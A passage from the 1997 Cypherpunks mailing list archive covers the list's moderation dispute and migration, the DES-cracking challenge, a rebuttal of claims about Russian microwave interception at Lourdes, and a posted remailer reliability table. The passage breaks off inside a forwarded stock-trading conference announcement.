21. Tim received a warning from C2Net's lawyers that if he did not
desist from mentioning that Dimitri had posted an article criticising
a C2Net product that he would be sued!

22. John posted a statement where he explained Sandy's sudden
announcement of ending his particpation.  John explained that Sandy
had "hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer".  Sandy did not drop Johns posting even though it
covered the same topics that had resulted in Tim's posts being
dropped, and resulted in Tim receiving legal threats from C2Net.  In
the same post John said that he had come to the conclusion that he was
no longer willing to host the cypherpunks list.  In this post John
announced that Sandy had been persuaded to continue to moderate for
the remainder of the moderation period, and gave the new policy.  The
changes were that anything other than crypto discussion and discussion
of forming a new cypherpunks list would go to flames, and anything
that Sandy thought was libelous would be dropped silently.

23. Sandy posted a statement affirming that he would continue to
moderate, and that if any cypherpunks wished to discuss his prior
moderation policy and performance as a moderator that they do it on
new lists which they create themselves.


(If Sandy's current moderation criteria mean that he feels obliged to
forward this post to cypherpunks-flames as off-topic, or even to
silently drop it from both moderated lists, so be it.  I will simply
repost it later, when the moderation experiment is over on one of the
new lists.  In the event of myself receiving legal threats, I shall
simply post it via a remailer, or rely on someone else to do so.  C2
does not appear to be running any remailers at the moment, otherwise I
would use a remailer hosted at c2.net as the exit node in the remailer
chain.)


The positive outcome of all this has been to make the cypherpunks list
more resilient to legal attack.  The new distributed list seems to be
progressing well, and will be less liable to attack.  Filtering
services continue, as they should.  And alt.cypherpunks has been
created as a forum ultimately resistant to legal attack.

Also I should say that I would hope that no one holds any long term
animosity towards any of the players in this episode, many of the
people have been very prolific in their work to further online privacy
and freedom, and I hope that we can all put this chapter behind us.


Now more fun things...

Anyone checked out the DES breaking project?

Over on 

	http://fh28.fa.umist.ac.uk/des/ 

are details of mailing lists where people are organising breaking
RSADSIs DES challenge.  For the RC5/32/12/6 (48 bit RC5) break which
took 13 days, it seems there were a peak of 5000 machines involved.
At this rate it will take 8 months to break DES.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Sun, 16 Feb 1997 20:49:59 -0800 (PST)
To: peanderson@WN.NET
Subject: Russian Sigint
In-Reply-To: <1.5.4.32.19970216033354.006a87a8@mail1.wn.net>
Message-ID: <9702170449.AA22630@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I found this on The New American web page. ?
> 
> 
> GRU Snooping Continues. The interception, taping, and publication of a
> conference call between Newt Gingrich and other congressional leaders
> demonstrates the susceptibility of microwave-transmitted electronic
> communications to eavesdropping. A growing number of intracity phone calls,
> e-mail, and faxes, as well as nearly all long-distance calls, are carried via
> microwave. But it's not just itinerant Democratic Party activists with police
> scanners who can listen in on microwave communications.
> 
	This is complete horse pucky.   Microwave is less and less and
less used for long distance communications in the US.  Very little
traffic now flows over microwave links - fiber has so much higher
capacity and better data error characteristics that it has nearly
completely taken over long distance telephone and data communications. 
A typical microwave link can carry 45 or maybe 130 megabits per second
maximum per rf channel and maybe has 6 rf channels in use at a time
maximum whilst current fibers carry 1.5 Gigibits per fiber and can be
upgraded to 3.0 Gigabits easily and way more than 10 Gbs with current
WDM technology. Typical installed fiber routes have around 30 or more
fibers just because it is as easy to install that many as one.  

	The remaining active microwave links are primarily used as
backup for fiber routes and may not be carrying live traffic at all. 
Virtually every route that used to be microwave has now had one or more
fiber routes installed to replace it and if it hasn't they are planned
or being installed now.  At the best there are a few remote places where
installing fiber is impractical that still communicate with the world on
microwave links and there are a few microwave systems still in service
to carry certain vital national survival and security traffic where they
provide redundancy.

	Also, essentially all current common carrier microwave is now
digital rather than fm-fdm-ssb.  These high capacity and bit rate 64-QAM
or 256-QAM signals are significantly harder to intercept and demodulate
and demultiplex than the FM signals used until the late 80's were.  This
is especially true of reception from sites that see only marginal
scattered signals rather than the direct beam, as digital radio tends to
not work at all with marginal signals rather than being just noisy.

	I think that probably less than 1% of US long distance public
telephone and data communications currently travel by microwave at any
point in their journey compared to more than 68% at the peak  of
microwave usage in the early 1980's.  And this figure is dropping
steadily over time as more and more fiber is put in service.

> As the Center for Security Policy (CSP) points out, the GRU _ the Main
> Intelligence Directorate of the General Staff of the Russian Armed Forces _
> maintains signals intelligence ("sigint") facilities in Lourdes, Cuba, and
> Cam Ranh
> Bay in Vietnam which are capable of intercepting nearly all microwaved
> communication across the continental United States as well as the Atlantic and
> Pacific.

	This is not entirely true.  Intercepting microwave signals from
over the horizon is not possible except under truly extraordinary
propagation conditions and then only for brief periods of time with
gigantic antennas and from relatively nearby places.  And the  resultant
scattered signal is of very poor quality and getting usable high bit
rate data out of such scatter signals,  as would be required to
intercept common carrier traffic, is not easily possible.

	At the very best the Lourdes facility might possibly be able to
see occasional microwave scatter traffic from southern Florida and the
Carribean on very good days.  This is hardly traffic from the entire
continental US and one can be very sure that the NSA and other agencies
responsible for thinking about US communications security have long ago
arranged in cooperation with the long distance carriers to ensure that
nothing of any great use was showing up.

	There are two catagories of microwave traffic those facilities
can intercept - domestic and international satellite traffic from US
satellites with footprints that cover the Carribean and whatever radio
traffic is intercepted by Russian low orbit ferret satellites as they
pass over North America and by high orbit monitoring satellites parked
over the western hemisphere.

	Very little public point to point telephone and data traffic
between points in the US is currently transmitted via satellite.  Fiber
is so much cheaper and better in quality that the carriers gave up
satellite transmission of domestic traffic some years ago.  There are
some compelling reasons for this - the long 240 ms delay in transmitting
traffic via geosynchronous satellite is very noticable to many humans in
the give and take of conversations, and without special protocol
provisions many data communications systems give horrible throughput
over links with that long a delay as well as giving unnacceptably long
echo delays in interactive applications.  And satellite bandwidths are
even less than terrestrial microwave bandwidths and compared to the vast
amount of fiber now in service are just a tiny fraction of the total.

	Domestic communications satellites are primarily used for point
to multipoint traffic such as credit card authorization systems for gas
stations and stores and distribution of video to TV stations and cable 
companies, and broadcasts of data to large numbers of receivers.  It is
rarely cheaper and more cost effective to put point to point traffic on
communications satellites.  And most of what is there is traffic sent by
private users of one sort or another such as large companies and
government agencies - much of which is securely encrypted if sensitive.
And that which is not encrypted is readily accessible to anyone with the
right commonly available equipment and a vanilla satellite dish of the
sort there are literally millions and millions of scattered throughout
the US, Canada and Mexico - the potential threat from this source dwarfs
what the Russians might do with the information (and is readily
controlled by link encryption).

	Even international communications from the US are less and less
routed via satellite as high capacity fiber trans-ocean cables are
installed.  I have seen numbers on the order of less than 10% satellite
transmission of international traffic and as new optical amplifier
cables are installed (which one can assume the UKUSA partners such as
the US NSA get the entire bitstream from) this number is also plunging.
And most international satellite communications can be monitored from
the other end and do not have to be monitored from near the US.

	As a point of fact I would be more concerned that Russian
submarines have tapped the trans-Atlantic and trans-Pacific cables
somewhere than that the Russians pick up satellite communications. One
hopes that the bitstreams on those cables are really securely link
encrypted - doing so would seem to be a no-brainer - but I have never
seen any reference to this being the practice.

	What capabilities Russian sigint satellites still have in the
post USSR era of economic collapse where Russia has not been able to
launch a single imaging spy satellite for several months and has no
usable ones in orbit, according to a recent NY Times story, is not
clear.  Russian satellites have generally had a much shorter useful life
in orbit than US satellites do and Russia and the Russian space program
has been pretty poor and disorganized for the last several years.  At
best such sigint satellites could conceivably be used  to monitor some
few domestic microwave links that happened to put a usable signal in the
direction of the satellite and were far enough away from other
transmitters on the same frequency to be separated by antenna
directivity enough to stand out.   While a satellite in geosynchronous
orbit could see all of North America, it is pretty certain that it could
see only a rather small fraction of modern digital microwave links well
enough to recover traffic from them.  And it is absolutely certain that
the capacity of the satellite to intercept and relay traffic is only a
few microwave links simultaneously at most.  This is hardly everything
or more than a small piece in fact.

	It has been reported that Russian sigint satellites use laser
optical links back to Lourdes rather than the Ka and higher frequency
band microwave links that US equivalents have used to pass the signals
they intercept, but one suspects that the relevant US agencies have
probably used whatever means were necessary to find these links and
determine what US traffic is being monitored and ensure that that
anything truly important was routed by fiber instead.

	In any case, the value of Lourdes is primarily as a base for
intercepting US satellite communications and as a conveniant place to
put a ground station for sigint and ferret satellites where  satellite
to satellite relay is not required to get the signals back to a ground
station.  If Lourdes were shut down most of the sigint functions of these
satellites could be operated from Russia using satellite to satellite
communications of one sort or another. The only major loss would be the
ability to intercept certain domestic communications satellite signals
which use focused beams and not readily intercepted from other places
where the Russians may have space to put antennas.  And one suspects
that the Russians could probably do most of this interception from
covert sites under cover as legitimate satellite installations in the US
and Canada or other Caribbean or Central American countries.

	In any case it is certainly not true that Lourdes can intercept
a significant fraction of US telecommunications simply because most US
telecommunications do not any longer travel via microwave radio. 
Lourdes undoubtably can intercept enough useful stuff to justify
continuing its operation, but this is partly because of blind US
government policy on encryption rather than anything else.  This
especially applies to cellular communications which can be intercepted
from satellites (and of course by anyone with a scanner or modified
cellphone as well).  How well even satellites with large 100 or 200 foot
dishes do at intercepting the dense network of US and other cellular
systems with hundreds of transmitters going at once on the same
frequency in the area of the footprint of the satellite receive antenna
at 800 mhz I do not know.  And tracking and identifying calls of
interest when the satellite can intercept only some cells on some
cellsites reliably must be fairly hard. 

	In any event the US operates several sigint satellites of much
more advanced design and capability than Russia and has for many more
years than the Russians have.   And it is widely reported that the US
has worldwide ground monitoring stations listening to essentially all
communications satellites in the Clarke orbit and probably any that
aren't that could possibly carry useful traffic.  Our capabilities and
technology and expenditure in this area is well beyond anyone elses. 
	
 Furthermore, according to the CSP, "it is believed that both the
> Russians
> and the Cubans are developing capabilities at Lourdes to conduct information
> warfare (IW). Such a capability would permit these facilities to be employed not
> only to intercept information [but also to] make it possible for Moscow or
> Havana
> to manipulate telecommunicated information so as to deny the American people
> and their government vital services or otherwise work against U.S. interests."
> 

	There may be some capability to jam US commercial communications
satellites which for the most part have not any kind of protection
against such jamming.  Vital US military communications satellites do.
Successfully conducting man-in-the-middle attacks on terrestrial
microwave communications from Clarke orbit is difficult at the very very
best and probably essentially impossible simply because of the 240 ms
delay involved and the enormous difficulty of sucessfully interjecting
the right kind of signal into a microwave link that uses highly
directional antennas and modulation techniques that are amplitude
sensitive such as QAM.   And one can certainly assume that the US is
carefully watching Russian sigint satellites at all times and would
certainly know immediately if they started radiating enough signal to
disrupt or spoof US communications systems.

	Of course all sigint yields information such as passwords and
encryption keys and spectral signatures of speakers and call addressing
and routing information (traffic analysis) that can be used to good
advantage in later active man-in-the-middle attacks.  And one can
certainly assume that the Russians and many other governments including
the US have spent considerable effort developing active penetration and
disruption capablity.  It has even been reported that the US has been
using this to force network traffic to be routed in Europe via 
facilities the US can monitor.


> According to former GRU Colonel Stanislav Lunev, "The strategic significance of
> the Lourdes facility has grown dramatically since the secret order from Russian
> Federation President [Boris Yeltsin] of 7 February 1996 demanding that the
> Russian intelligence community step up the theft of American and other Western
> economic and trade secrets. It currently represents a very formidable and
> ominous
> threat to U.S. national security as well as the American economy and
> infrastructure."
> 
> Yet the Clinton Administration insists that it is in America's interest to
> allow the
> GRU to continue its eavesdropping on the U.S. In congressional testimony
> delivered on March 16, 1995, Assistant Secretary of State for Inter-American
> Affairs Alexander Watson asserted that pressuring Russia to discontinue sigint
> activities in Cuba "could limit our ability to promote reform and stability
> in Russia"
> as it could "be seen by the Russians as interfering with the exercise of
> their right
> under the START Treaty to monitor compliance with the agreement...."
> 


	And of course if we pressure them and other governments to
abandon sigint operations they can and will start to do the same to us. 
And ours are greater in magnitude and productivity than theirs.


> As with so many other issues, the Clintonites and the Soviets are reading
> from the
> same page regarding the Cuban sigint facility. Izvestia reported last
> November 30th
> that the U.S. "does not object in principle to the continuing existence of the
> electronic center in Cuba...."i
> 

	One can make the argument that sigint for national security
purposes is stabilizing and not altogether a bad thing.  Many of us who
are at least dimly aware of the technology fear its potential in the
hands of a future fascist police state greatly, but one suspects that
the Russians do not use the information effectively to damage US
interests.  After all we are the top economic and  military power in the
world and they are nearly in third world status economicly and have a
rapidly deteriorating military.  Perhaps the greatest risk from their
Soviet era sigint capabilities is that information will leak from
starved intelligence agency employees  and officials to the Russian
criminal mafias and benefit organized crime. There is certainly
potential there for mischief, especially considering that a good amount
of criminally useful information flows unencrypted over radio
communications in the US.

	If I was in the US government and thinking about the threat of
the Russian sigint capability I would be pushing for more use of
encryption in domestic commercial communications and especially such
things as cellphones and wireless data systems.  Universal link
encryption with secure ciphers of such radio based communications
systems  should not impact lawful interception of communications one
iota since the  government can always request wiretaps using their
spiffy new digital telephony tapping capablity.  The carriers would
always have access to the unencrypted traffic after all and could
forward it to the government. And many of us think that end-to-end
encryption of traffic is a better choice in the long run than no
encryption, even if it locks out the government (and everyone else) from
easily, and in large quantities, fishing through traffic.  One supposes
that the government will always be able to obtain most traffic it wants
badly enough, through cryptanalysis, TEMPEST, rubber hose cryptanalysis,
black bag jobs, bugging, and the perfidy of informants of one sort or
another, and of course most of all - carelessness and ignorance about
INFOSEC and bugs and configuration problems in software.

	But I would also be mindful that the Russians have decreasing
intelligence capability to monitor US intentions and perhaps allowing
them some access will keep them from developing paraniod fears of US
intentions.  The Russians probably still have a few working ICBMs after
all...

	In any case enough of these speculations.  Perhaps a
semi-retired telecommunications/computer engineer such as myself with
access only to public information gets the picture completely wrong. 
And perhaps not. I do know it is definately and without a doubt not true
that more and more domestic communications flow over microwave point to
point radio, however.  And I think that anyone propagating that myth
deserves a correction.

							Dave Emery
							die@die.com
							Weston, Mass.

						






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Feb 1997 23:52:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another test
Message-ID: <199702170751.XAA14804@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


Another test




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Sun, 16 Feb 1997 20:53:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Clipper chip - HA! (fwd)
Message-ID: <9702170453.AA22664@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain




>For all of you who didn't see the last X-Files ...
>Mulder made a visit to The Lone Gunman about breaking into some
>impenetrable system.
>Byers points out that "Yeah, that system is pretty hard to get into."
>Mulder then inquires "well how did you guys get in?".
>Byers replies cooly: "We used a modified Clipper chip we bought back from
>the Chinese."
>I didn't stop laughing for 5 minutes ... :)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________


I don't know whether this guy knows it or not but mainland China buys huge
quanities of DoD surplus scrap electronics. The material is required to be
mutilated but stuff slips through. I have seen it myself. The little bit on
X-files noted above is not as far fetched as one might believe.

..Jim

<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 23:59:56 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702170759.XAA09067@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles writes:
> At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:
> >I can also offer my participation in the distributed mailing list, if
> >that is what it takes to get cypherpunks free of control interests again.
> I think it would be more accurate to say that this is what it takes to get
> cypherpunks into the hands of different control interests. 

Ok. If the legends about this list are true, then this is the ideal
place to determine the feasability of removing -any- control
interests.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

   The only person who needs a contract is one who cannot be trusted.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 16 Feb 1997 22:43:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Science Generations, II
Message-ID: <01IFI712H7OC8Y4XA0@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From: azur@netcom.com (Steve Schear)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

	What precisely do those laws say? As a scientist, I have somewhat
of an interest in such subjects, and I don't have very good access to
legal databases. (For instance, I tried the Library of Congress search
system for laws passed since 1973... and the thing's indexed by _title_
of legislation, not the more standard designation you gave...).
	Thanks,
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Sun, 16 Feb 1997 23:37:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone have the complete info on CP list alternatives?
Message-ID: <199702170736.CAA02163@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Everyone and his/her cousin has jumped into the void
created when John Gilmore decided to pull the plug
on toad.com.

However, I'm very confused on just what to do at this
point, my news server doesn't see alt.cypherpunks
yet and if it did would probably lose about 75% of
the posts if past performance is to be any indicator.
(Or more accurately, would never get them, we seem
to be a bottom feeder here in South Florida as far
as the newsgroups go.)

Has anyone composed a concise summary of just
what the options are? Time is running out, I guess.

Thanks in advance.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 20:48:56 -0800 (PST)
To: cynthb@sonetis.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <199702170406.XAA23365@homer.iosphere.net>
Message-ID: <19970217044832.19610.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   From: "Cynthia H. Brown" <cynthb@sonetis.com>
   Date: Sun, 16 Feb 1997 23:02:02 -0500

   So, if I put root@127.0.0.1 in the "From:" field of my news reader's
   configuration, all of my posts will give this as my e-mail address. 

More likely to be delivered is root@[127.0.0.1] or
root@localhost.nceye.net or similar.  The thing to the right has to be
a name or a numeric address *in brackets*.  Yes, this doesn't seem to
make terribly much sense.  Another approach if you can do it is to get
an alias that looks like a message-ID.  All my outgoing usenet posts
lately have said
From: Bryan Reece <23je8s$ksd@taz.nceye.net> 
at the top, and no spam has come to that address.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 20:49:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
In-Reply-To: <199702170211.SAA12987@toad.com>
Message-ID: <19970217044943.19626.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece@taz.nceye.net
   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   -----BEGIN PGP SIGNED MESSAGE-----

   camcc@abraxis.com (Alec) writes:
   > Please post the date when this list will shift to Usenet if that is indeed to
   > happen. I have not been able to sort out the facts (?) from the speculation,
   > argument, and gas.
   > 
   > I have requested my ISP to add alt.cypherpunks to the mail server asap.

   I hope you misspelled "news server." alt.cypherpunks (and subgroups)
   is a newsgroup.

   > I don't want to miss a second of the resurrected (or is that born again?)
   > c'punks.

   You should join one of the distributed mailing lists (choose the list
   admin you like/trust the most). There is supposed to be a gateway
   between the mailing list and the newsgroup, but it is not up yet.

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

   HTH,
   Jer

   "standing on top of the world/ never knew how you never could/ never knew
    why you never could live/ innocent life that everyone did" -Wormhole

   (Cool, "newsgroup" is the first word in four consecutive lines. I did
   not do this on purpose, even.)




   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.2

   iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe
   bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC
   T93ixsHuO7jhW4075ipfH/5MWMkI1zKz
   =G83r
   -----END PGP SIGNATURE-----




-- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 20:52:43 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
In-Reply-To: <199702170211.SAA12987@toad.com>
Message-ID: <19970217045244.20530.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

There is currently a newsgroup cypherpunks.list on taz.nceye.net
world-accessible.  It receives cypherpunks@algebra.com, but posts
there aren't sent back to the list yet.  Anyone who wants an NNTP feed
of it can have one.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Feb 1997 06:50:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702171450.GAA16062@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Feb 97 6:46:40 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
wazoo    remailer@wazoo.com               ++++++++*+++    37:37 100.00%
nym      config@nym.alias.net             *#*##**++#*+     4:23  99.99%
winsock  winsock@rigel.cyberpass.net      -__.+-..---+  7:52:03  99.93%
cyber    alias@alias.cyberpass.net        ** *++++++*+    35:11  99.89%
dustbin  dustman@athensnet.com             .++--.+---   2:08:12  99.85%
weasel   config@weasel.owl.de             +++++++++++   1:06:36  99.77%
exon     remailer@remailer.nl.com           ***-* *#+#     4:10  99.62%
squirrel mix@squirrel.owl.de              + ++++++ +    1:04:02  99.05%
haystack haystack@holy.cow.net            #*##*+*  **+    20:23  98.49%
reno     middleman@cyberpass.net           .++ -- +++   1:16:02  98.36%
lucifer  lucifer@dhp.com                  +++++++ +++     42:18  98.28%
extropia remail@miron.vip.best.com        -------- --   5:19:42  98.21%
middle   middleman@jpunix.com              ++++ + --    2:16:10  97.36%
replay   remailer@replay.com              ---+**  ---*  1:27:53  88.59%
balls    remailer@huge.cajones.com        ## *### *#       1:38  84.09%
jam      remailer@cypherpunks.ca          ******* **       8:25  82.44%
shaman   mix@mix.nymserver.com                            11:03  22.27%
mix      mixmaster@remail.obscura.com     *+           22:42:38  21.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 17 Feb 1997 04:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97 lookalike: Stock Trading over the Internet Conference
Message-ID: <v0302091baf2df9d54e07@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


I don't know about *lookalike*...

Cheers,
Bob Hettinga

--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
Precedence: Bulk
Date: Mon, 17 Feb 1997 10:30:32 +0100 (MET)
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: FC97 lookalike: Stock Trading over the Internet Conference

http://www.iqpc.com/0397stoc.htm

STOCK TRADING OVER THE INTERNET

Exploiting the power of Electronic Commerce

March 19-20, 1997 * The Pan Pacific Hotel * San Francisco, CA


Hear first hand tips from the true pioneers in Internet stock trading and
electronic commerce on:

       Conquering the process of going public
       Raising capital in your company via the Internet
       Using the Web to build your business and partnering with
       co-opitition
       Forming permanent syndicates to foster the creation of new
       offerings
       Creating effective and complete marketing plans for IPO's
       and DPO's
       Attracting customers and delivering services through the
       exploding electronic commerce market

The audience for this event will include companies looking to offer
shares via the Internet and drastically cut costs including; Chief
Executive Officers, Chief Financial Officers, Managing Directors,
General Managers, Investor Relations Managers, Underwriters, Stock
Exchange Executives, Venture Capitalists, Investment Bankers,
Private Company Executives, Business Development Executives,
Technology and Business Press and all those seeking to explore
opportunities on the emerging Internet marketplace


DAY ONE
March 19, 1997
Chairman: Brad W. Smith, President, WBS & A, Ltd.

